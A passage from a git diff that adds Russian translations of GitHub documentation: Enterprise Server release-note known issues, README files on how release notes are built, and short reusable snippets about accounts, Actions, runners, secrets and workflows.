над недавно обновленными репозиториями. Дополнительные сведения о кэшировании репозитория см. в статье [Сведения о кэшировании репозитория](/admin/enterprise-management/caching-repositories/about-repository-caching).' + - 'Теперь вы можете настроить баннер глобального оповещения так, чтобы его можно было убрать, используя REST API. Дополнительные сведения см. в разделе [Настройка сообщений для пользователей на предприятии](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner).' + known_issues: + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - "Когда в GitHub\_Connect включен параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com), результаты поиска на GitHub.com не включают в себя проблемы в частных и внутренних репозиториях." + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Службы Actions необходимо перезапустить после восстановления экземпляра из резервной копии, созданной на другом узле.' + - 'В настройках репозитория включение параметра, позволяющего пользователям с доступом для чтения создавать обсуждения, не включает эту функцию.' + - 'В некоторых случаях пользователи не могут преобразовать существующие проблемы в обсуждения.' + - 'Пользовательские шаблоны для сканирования секретов содержат ".*" в качестве конечного разделителя, особенно в поле "После секрета". Этот разделитель вызывает несоответствия при сканировании секретов в репозиториях, и вы можете заметить пробелы в журнале репозитория, если ни одно сканирование не было завершено. Добавочные сканирования также могут быть затронуты. Чтобы предотвратить проблемы со сканированием, измените конец шаблона, чтобы удалить разделитель ".*".' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/README.md b/translations/ru-RU/data/release-notes/enterprise-server/README.md new file mode 100644 index 000000000000..35090eb21caa --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/README.md @@ -0,0 +1,45 @@ +--- +ms.openlocfilehash: a43b7fac5396fcbdb1b7d9ec241af9879de7b2b8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115019" +--- +# Заметки о выпуске сервера GitHub Enterprise + +Отрисовывается здесь: https://docs.github.com/en/enterprise-server@latest/admin/release-notes + +## Принцип работы + +### Файл содержимого заполнителя + +Файл содержимого существует в `content/admin/release-notes.md`. Он имеет специальное свойство `layout: release-notes` frontmatter без содержимого Markdown. Источник заметок о выпуске можно получить из данных YAML. + +### Источник YAML + +Исходные данные для заметок о выпуске находятся в этом каталоге (`data/release-notes/enterprise-server`). + +Имена каталогов содержат номер выпуска GHES (с дефисом вместо точки). + +Файлы YAML в каждом каталоге именуются по номеру исправления. Некоторые имена файлов исправлений могут заканчиваться `-rc.yml`, это означает, что это релиз-кандидат. Для файла релиз-кандидата также требуется `release_candidate: true` в данных YAML. + +Заметки о выпуске нерекомендуемых версий GHES (см `lib/enterprise-server-releases.js`) **не** удаляются с сайта, и всегда будут отображаться вместе с текущими поддерживаемыми версиями. + +Обратите внимание, что файлы исправлений могут быть нерекомендуемыми по отдельности (т. е. скрытыми на сайте документации) с указанием необязательного свойства `deprecated: true`. + +### Обработка ПО промежуточного слоя + +Данные YAML обрабатываются и сортируются по `middleware/contextualizers/release-notes.js` и добавляются в объект `context`. + +### Макеты + +Данные объекта `context` отрисовывается с помощью `components/release-notes`. + +Страница заметок о выпуске имеет пользовательский дизайн с использованием CSS в `stylesheets/release-notes.scss`. + +### схема + +Схема, проверяющая, находятся ли данные YAML в `tests/helpers/schemas/ghes-release-notes-schema.js`. Просмотрите файл схемы, чтобы найти обязательные и необязательные свойства. + +Схема выполняется тестом в `tests/linting/lint-files.js`. Если данные не проходят проверку, тест завершится ошибкой. diff --git a/translations/ru-RU/data/release-notes/github-ae/README.md b/translations/ru-RU/data/release-notes/github-ae/README.md new file mode 100644 index 000000000000..9ac0e0e76c80 --- /dev/null +++ b/translations/ru-RU/data/release-notes/github-ae/README.md @@ -0,0 +1,43 @@ +--- +ms.openlocfilehash: 78f03188cb76fd34ffd5670585758bb8c9c2a47d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115003" +--- +# Заметки о выпуске для GitHub AE + +Отрисовывается здесь: https://docs.github.com/en/github-ae@latest/admin/release-notes + +## Принцип работы + +### Файл содержимого заполнителя + +Файл содержимого существует в `content/admin/release-notes.md`. Он имеет специальное свойство `layout: release-notes` frontmatter без содержимого Markdown. Источник заметок о выпуске можно получить из данных YAML. + +### Источник YAML + +Исходные данные для заметок о выпуске находятся в этом каталоге (`data/release-notes/github-ae`). + +Имена каталогов соответствуют месяцам. Имена файлов YAML соответствуют данным еженедельного выпуска. + +Логическое свойство `currentWeek` должно быть задано в каждом файле YAML. Это свойство одновременно может иметь значение true только для одного файла. + +Обратите внимание, что файлы исправлений могут быть нерекомендуемыми по отдельности (т. е. скрытыми на сайте документации) в соответствии с дополнительным свойством `deprecated: true`. + +### Обработка ПО промежуточного слоя + +Данные YAML обрабатываются и сортируются по `middleware/contextualizers/release-notes.js` и добавляются в объект `context`. + +### Макеты + +Данные объекта `context` отрисовывается с помощью `components/release-notes`. + +Страница заметок о выпуске имеет пользовательский дизайн с использованием CSS в `stylesheets/release-notes.scss`. + +### схема + +Схема, проверяющая, находятся ли данные YAML в `tests/helpers/schemas/ghae-release-notes-schema.js`. Просмотрите файл схемы, чтобы найти обязательные и необязательные свойства. + +Схема выполняется тестом в `tests/linting/lint-files.js`. Если данные не проходят проверку, тест завершится ошибкой. diff --git a/translations/ru-RU/data/reusables/accounts/accounts-billed-separately.md b/translations/ru-RU/data/reusables/accounts/accounts-billed-separately.md new file mode 100644 index 000000000000..6533e4c51725 --- /dev/null +++ b/translations/ru-RU/data/reusables/accounts/accounts-billed-separately.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 90399007d59f5047f1bfdd4807bea0f1e77dddd3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114979" +--- +Плата за каждую учетную запись на {% data variables.product.product_name %} взимается отдельно. При повышении уровня учетной записи организации платные функции активируются только для репозиториев организации. Функции, доступные в репозиториях, принадлежащих связанным личным учетным записям, не затрагиваются. Аналогичным образом, повышение уровня личной учетной записи позволяет использовать платные функции только в репозиториях, связанных с этой личной учетной записью, и не влияет на репозитории учетных записей организации. Дополнительные сведения о типах учетных записей см. в разделе [Типы учетных записей {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts). diff --git a/translations/ru-RU/data/reusables/accounts/create-account.md b/translations/ru-RU/data/reusables/accounts/create-account.md new file mode 100644 index 000000000000..5209e23eac01 --- /dev/null +++ b/translations/ru-RU/data/reusables/accounts/create-account.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 27ad8b0bdd1128bf259b15a401bda19cb25a3b17 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114976" +--- +1. Перейдите на [страницу цен]({% data variables.product.pricing_url %}) на {% data variables.product.company_short %}. +2. Ознакомьтесь со сведениями о различных продуктах и подписках, которые предлагает {% data variables.product.company_short %}, а затем нажмите кнопку обновления в подписке, которую вы хотите выбрать. diff --git a/translations/ru-RU/data/reusables/accounts/create-personal-access-tokens.md b/translations/ru-RU/data/reusables/accounts/create-personal-access-tokens.md new file mode 100644 index 000000000000..38f1bde18977 --- /dev/null +++ b/translations/ru-RU/data/reusables/accounts/create-personal-access-tokens.md @@ -0,0 +1 @@ +1. For each of your accounts, create a dedicated {% data variables.product.pat_v1 %} with `repo` scope. {% ifversion pat-v2 %}Or, for each of your accounts and for each organization that you are a member of, create a {% data variables.product.pat_v2 %} that can access the desired repositories and that has read and write permissions on repository contents.{% endif %} For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." diff --git a/translations/ru-RU/data/reusables/accounts/you-must-know-your-password.md b/translations/ru-RU/data/reusables/accounts/you-must-know-your-password.md new file mode 100644 index 000000000000..99db73f45282 --- /dev/null +++ b/translations/ru-RU/data/reusables/accounts/you-must-know-your-password.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0706277e766ce2418b463c55213378867bd0cd52 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114971" +--- +Если ваша личная учетная запись защищена с помощью двухфакторной проверки подлинности, но вы не помните пароль, вы не сможете выполнить следующие действия для восстановления учетной записи. {% data variables.product.company_short %} может отправить сообщение электронной почты для сброса пароля на проверенный адрес, связанный с вашей учетной записью. Дополнительные сведения см. в разделе [Обновление учетных данных для доступа к {% data variables.product.prodname_dotcom %}](/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials#requesting-a-new-password). diff --git a/translations/ru-RU/data/reusables/actions/about-actions-for-enterprises.md b/translations/ru-RU/data/reusables/actions/about-actions-for-enterprises.md new file mode 100644 index 000000000000..ff8b66335091 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-actions-for-enterprises.md @@ -0,0 +1 @@ +{% data variables.product.prodname_actions %} allows {% ifversion ghec or ghae %}members of your enterprise{% elsif ghes %}people who use {% data variables.location.product_location %}{% endif %} to improve productivity by automating every phase of the software development workflow. diff --git a/translations/ru-RU/data/reusables/actions/about-actions.md b/translations/ru-RU/data/reusables/actions/about-actions.md new file mode 100644 index 000000000000..e6714e3f66c1 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-actions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 80a4d4b1ada9616ac5939c27b65bbc752d89323a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114960" +--- +{% data variables.product.prodname_actions %} — это платформа непрерывной интеграции и непрерывной поставки (CI/CD), которая позволяет автоматизировать конвейер сборки, тестирования и развертывания. diff --git a/translations/ru-RU/data/reusables/actions/about-artifact-log-retention.md b/translations/ru-RU/data/reusables/actions/about-artifact-log-retention.md new file mode 100644 index 000000000000..30cab6fe1a72 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-artifact-log-retention.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 8a86f408128b56cc31c0e8876e962994edf7cdc4 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145282836" +--- +По умолчанию артефакты и файлы журналов, созданные рабочими процессами, сохраняются в течение 90 дней перед автоматическим удалением. + +{%- ifversion fpt or ghec %} Срок хранения можно настроить в зависимости от типа репозитория: + +- Для общедоступных репозиториев: можно изменить этот период хранения на любой срок в диапазоне от 1 дня до 90 дней. +- Для частных репозиториев {% ifversion ghec %} и внутренних репозиториев {% endif %}: можно изменить этот период хранения на любой срок в диапазоне от 1 дня до 400 дней. +{%- else %} Для общедоступных репозиториев: можно изменить этот период хранения на любой срок в диапазоне от 1 дня до 400 дней. +{%- endif %} + +При настройке периода хранения он применяется только к новым артефактам и файлам журнала и не применяется ретроактивно к существующим объектам. Для управляемых репозиториев и организаций максимальный срок хранения не может превышать предел, установленный управляющей организацией или предприятием. diff --git a/translations/ru-RU/data/reusables/actions/about-artifacts.md b/translations/ru-RU/data/reusables/actions/about-artifacts.md new file mode 100644 index 000000000000..221e966fffa5 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-artifacts.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5b853db664d1e37f1cebbcaaa525b07ba509cb4f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114944" +--- +Артефакты позволяют обмениваться данными между заданиями в рабочем процессе и хранить данные после завершения рабочего процесса. diff --git a/translations/ru-RU/data/reusables/actions/about-environments.md b/translations/ru-RU/data/reusables/actions/about-environments.md new file mode 100644 index 000000000000..1a49d9b74015 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-environments.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3f9e898e4df95a602acd3d894e921b98f7367aa3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114936" +--- +Среды используются для описания общего целевого объекта развертывания, такого как `production`, `staging` или `development`. Когда рабочий процесс {% data variables.product.prodname_actions %} выполняет развертывание в среде, эта среда отображается на главной странице репозитория. Среды можно использовать для утверждения продолжения задания, ограничения ветвей, которые могут активировать рабочий процесс, или ограничения доступа к секретам. Дополнительные сведения о создании сред см. в разделе [Использование сред для развертывания](/actions/deployment/using-environments-for-deployment). diff --git a/translations/ru-RU/data/reusables/actions/about-oidc-short-overview.md b/translations/ru-RU/data/reusables/actions/about-oidc-short-overview.md new file mode 100644 index 000000000000..5cf336619f1c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-oidc-short-overview.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: cd26a748114e97e5890d05e87b80e2253e0de04f +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114928" +--- + +Если рабочим процессам {% data variables.product.prodname_actions %} требуется доступ к ресурсам от поставщика облачных служб, поддерживающего OpenID Connect (OIDC), можно настроить рабочие процессы для проверки подлинности непосредственно в поставщике облачных служб. Это позволит прекратить хранение таких учетных данных в виде долгоживущих секретов и обеспечить другие преимущества безопасности. Дополнительную информацию см. в разделе [Сведения об усилении защиты с помощью OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). diff --git a/translations/ru-RU/data/reusables/actions/about-runner-groups.md b/translations/ru-RU/data/reusables/actions/about-runner-groups.md new file mode 100644 index 000000000000..275762aefb8c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-runner-groups.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 8492ebc0962837c6f748fe30dbca08f529c353fc +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109088" +--- +{% ifversion fpt %} {% note %} + +**Примечание.** Все организации имеют единую группу средств выполнения по умолчанию. Только корпоративные учетные записи и организации, принадлежащие корпоративным учетным записям, могут создавать дополнительные группы средств выполнения и управлять ими. + +{% endnote %} + +Группы средств выполнения используются для управления доступом к средствам выполнения. Администраторы организации могут настроить политики доступа, определяющие, какие репозитории в организации имеют доступ к группе средств выполнения. + +Если вы используете {% data variables.product.prodname_ghe_cloud %}, то можете создавать дополнительные группы средств выполнения; корпоративные администраторы могут настраивать политики доступа, определяющие, какие корпоративные организации имеют доступ к группе средств выполнения; администраторы организации могут назначать детальные политики доступа репозиториев к корпоративной группе средств выполнения. {% endif -%} {% ifversion ghec or ghes or ghae %} + +{% data reusables.actions.runner-group-enterprise-overview %} + +При создании новых средств выполнения они автоматически назначаются группе по умолчанию. Средства выполнения не могут находиться одновременно в нескольких группах. Вы можете переместить средства выполнения из группы по умолчанию в другую группу. Дополнительные сведения см. в разделе [Перемещение средства выполнения тестов размещения в группу](#moving-a-runner-to-a-group). + +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/about-runners.md b/translations/ru-RU/data/reusables/actions/about-runners.md new file mode 100644 index 000000000000..20179f32ce54 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-runners.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6ef3ea32691437d12387373824727820903c4318 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114915" +--- +Средство выполнения тестов — это сервер, на котором выполняются рабочие процессы при их активации. diff --git a/translations/ru-RU/data/reusables/actions/about-secrets.md b/translations/ru-RU/data/reusables/actions/about-secrets.md new file mode 100644 index 000000000000..e37aea1b872e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-secrets.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4877ea00c231be89c614457cf5a560b3d56b1c9b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062772" +--- +Зашифрованные секреты позволяют хранить конфиденциальную информацию, например маркеры доступа, в репозитории, средах репозитория или организации. diff --git a/translations/ru-RU/data/reusables/actions/about-self-hosted-runners.md b/translations/ru-RU/data/reusables/actions/about-self-hosted-runners.md new file mode 100644 index 000000000000..678f6674d2dc --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-self-hosted-runners.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ee5fadf26c020023a56061fe346ea407d56385ef +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114896" +--- +Локальные средства выполнения позволяют размещать собственные средства выполнения и настраивать среду, используемую для выполнения заданий в рабочих процессах {% data variables.product.prodname_actions %}. diff --git a/translations/ru-RU/data/reusables/actions/about-triggers.md b/translations/ru-RU/data/reusables/actions/about-triggers.md new file mode 100644 index 000000000000..7896d73e8d14 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-triggers.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 27c764ba249fba171877221492b486d59bde7230 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114888" +--- +Триггеры рабочего процесса — это события, которые приводят к запуску рабочего процесса. Эти события могут быть следующими: + +- События, происходящие в репозитории рабочего процесса +- События, происходящие за пределами {% data variables.product.product_name %} и запускающие событие `repository_dispatch` в {% data variables.product.product_name %} +- Запланированное время +- Вручную + +Например, можно настроить рабочий процесс для запуска при отправке в ветвь по умолчанию репозитория, при создании выпуска или при открытии проблемы. diff --git a/translations/ru-RU/data/reusables/actions/about-workflow-jobs.md b/translations/ru-RU/data/reusables/actions/about-workflow-jobs.md new file mode 100644 index 000000000000..ba225a78ef39 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-workflow-jobs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ad8ac5e27bdb44b504e64d053ad2088a9ff006cf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114883" +--- +Задание рабочего процесса — это ряд действий, выполняемых в одном и том же средстве выполнения. diff --git a/translations/ru-RU/data/reusables/actions/about-workflow-runs.md b/translations/ru-RU/data/reusables/actions/about-workflow-runs.md new file mode 100644 index 000000000000..208e26c569ef --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-workflow-runs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2cf6fd271bfd2ad7382b4a8f71c2e0e988ebf586 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114880" +--- +Запуск рабочего процесса — это экземпляр вашего рабочего процесса, который запускается при возникновении предварительно настроенного события. diff --git a/translations/ru-RU/data/reusables/actions/about-workflows-long.md b/translations/ru-RU/data/reusables/actions/about-workflows-long.md new file mode 100644 index 000000000000..0686c6545f1d --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-workflows-long.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: ba9c00a9dfa055c518eb60bca3acc59a3cc89381 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114875" +--- +Рабочий процесс — это настраиваемый автоматизированный процесс, который будет выполнять одно или несколько заданий. Рабочие процессы определяются файлом YAML, возвращенным в репозиторий, и будут выполняться при активации события в репозитории. Либо их можно активировать вручную или по определенному расписанию. + +Рабочие процессы определяются в каталоге `.github/workflows` в репозитории, а репозиторий может иметь несколько рабочих процессов, каждый из которых может выполнять разные наборы задач. Например, у вас может быть один рабочий процесс для создания и тестирования запросов на вытягивание, другой рабочий процесс — для развертывания приложения при каждом создании выпуска, а также еще один рабочий процесс, добавляющий метку каждый раз, когда кто-то открывает новую проблему. diff --git a/translations/ru-RU/data/reusables/actions/about-workflows.md b/translations/ru-RU/data/reusables/actions/about-workflows.md new file mode 100644 index 000000000000..b1c426da54bf --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/about-workflows.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0a1fdbb83aeb4f64eb78893237dca055f9c328b7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145117144" +--- +Рабочие процессы автоматизируют жизненный цикл разработки программного обеспечения, используя широкий ряд инструментов и служб. diff --git a/translations/ru-RU/data/reusables/actions/access-actions-on-dotcom.md b/translations/ru-RU/data/reusables/actions/access-actions-on-dotcom.md new file mode 100644 index 000000000000..ab21cf39a68e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/access-actions-on-dotcom.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a8b33109e1cfc09d65237d9d961a3c49a46fb093 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114867" +--- +Если пользователям предприятия требуется доступ к другим действиям из {% data variables.product.prodname_dotcom_the_website %} или {% data variables.product.prodname_marketplace %}, можно использовать несколько параметров конфигурации. diff --git a/translations/ru-RU/data/reusables/actions/action-cache.md b/translations/ru-RU/data/reusables/actions/action-cache.md new file mode 100644 index 000000000000..6d356d943c6c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-cache.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: de1bd4d26aa9af8eb10a2fe0688a7125e58bf22e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067893" +--- +actions/cache@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-checkout.md b/translations/ru-RU/data/reusables/actions/action-checkout.md new file mode 100644 index 000000000000..5e4f9993b5df --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-checkout.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9bf2d8558749d983e6ce45fac6550ba7a921cbd7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062771" +--- +actions/checkout@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-codeql-action-analyze.md b/translations/ru-RU/data/reusables/actions/action-codeql-action-analyze.md new file mode 100644 index 000000000000..72c11abbed71 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-codeql-action-analyze.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d3ad9789720663d813893180904d2372fe0fbd7f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878994" +--- +github/codeql-action/analyze@{% ifversion actions-node16-action %}v2{% else %}v1{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-codeql-action-autobuild.md b/translations/ru-RU/data/reusables/actions/action-codeql-action-autobuild.md new file mode 100644 index 000000000000..dd36bd026703 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-codeql-action-autobuild.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 58dec355288ad0130dcde36d6d3f01d60a4f5b11 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879154" +--- +github/codeql-action/autobuild@{% ifversion actions-node16-action %}v2{% else %}v1{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-codeql-action-init.md b/translations/ru-RU/data/reusables/actions/action-codeql-action-init.md new file mode 100644 index 000000000000..afb16e42df77 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-codeql-action-init.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8b4cf1fd4d207e69fa6c04ffbee0c35e20294acf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067149" +--- +github/codeql-action/init@{% ifversion actions-node16-action %}v2{% else %}v1{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-codeql-action-upload-sarif.md b/translations/ru-RU/data/reusables/actions/action-codeql-action-upload-sarif.md new file mode 100644 index 000000000000..a33375249bf9 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-codeql-action-upload-sarif.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bb256eb338ed337e830067f403e419f5f751373a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067133" +--- +github/codeql-action/upload-sarif@{% ifversion actions-node16-action %}v2{% else %}v1{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-delete-package-versions.md b/translations/ru-RU/data/reusables/actions/action-delete-package-versions.md new file mode 100644 index 000000000000..a38d54faaa52 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-delete-package-versions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7c2e0690c2e3dcb2de3ccdf3ae533c1fb18d6543 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067437" +--- +actions/delete-package-versions@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-download-artifact.md b/translations/ru-RU/data/reusables/actions/action-download-artifact.md new file mode 100644 index 000000000000..ef5f1fc30cab --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-download-artifact.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 44f6dd7880c01bbf6815ab833d357aabb3ff830d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067109" +--- +actions/download-artifact@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-github-script.md b/translations/ru-RU/data/reusables/actions/action-github-script.md new file mode 100644 index 000000000000..1cc9075b1f59 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-github-script.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 87caeb481dc57678cd68e7973edcce298adb5564 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067877" +--- +actions/github-script@{% ifversion actions-node16-action %}v6{% else %}v5{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-labeler.md b/translations/ru-RU/data/reusables/actions/action-labeler.md new file mode 100644 index 000000000000..30c213496604 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-labeler.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 716c0f66e4edac1a75a067a84f36717440280756 +ms.sourcegitcommit: 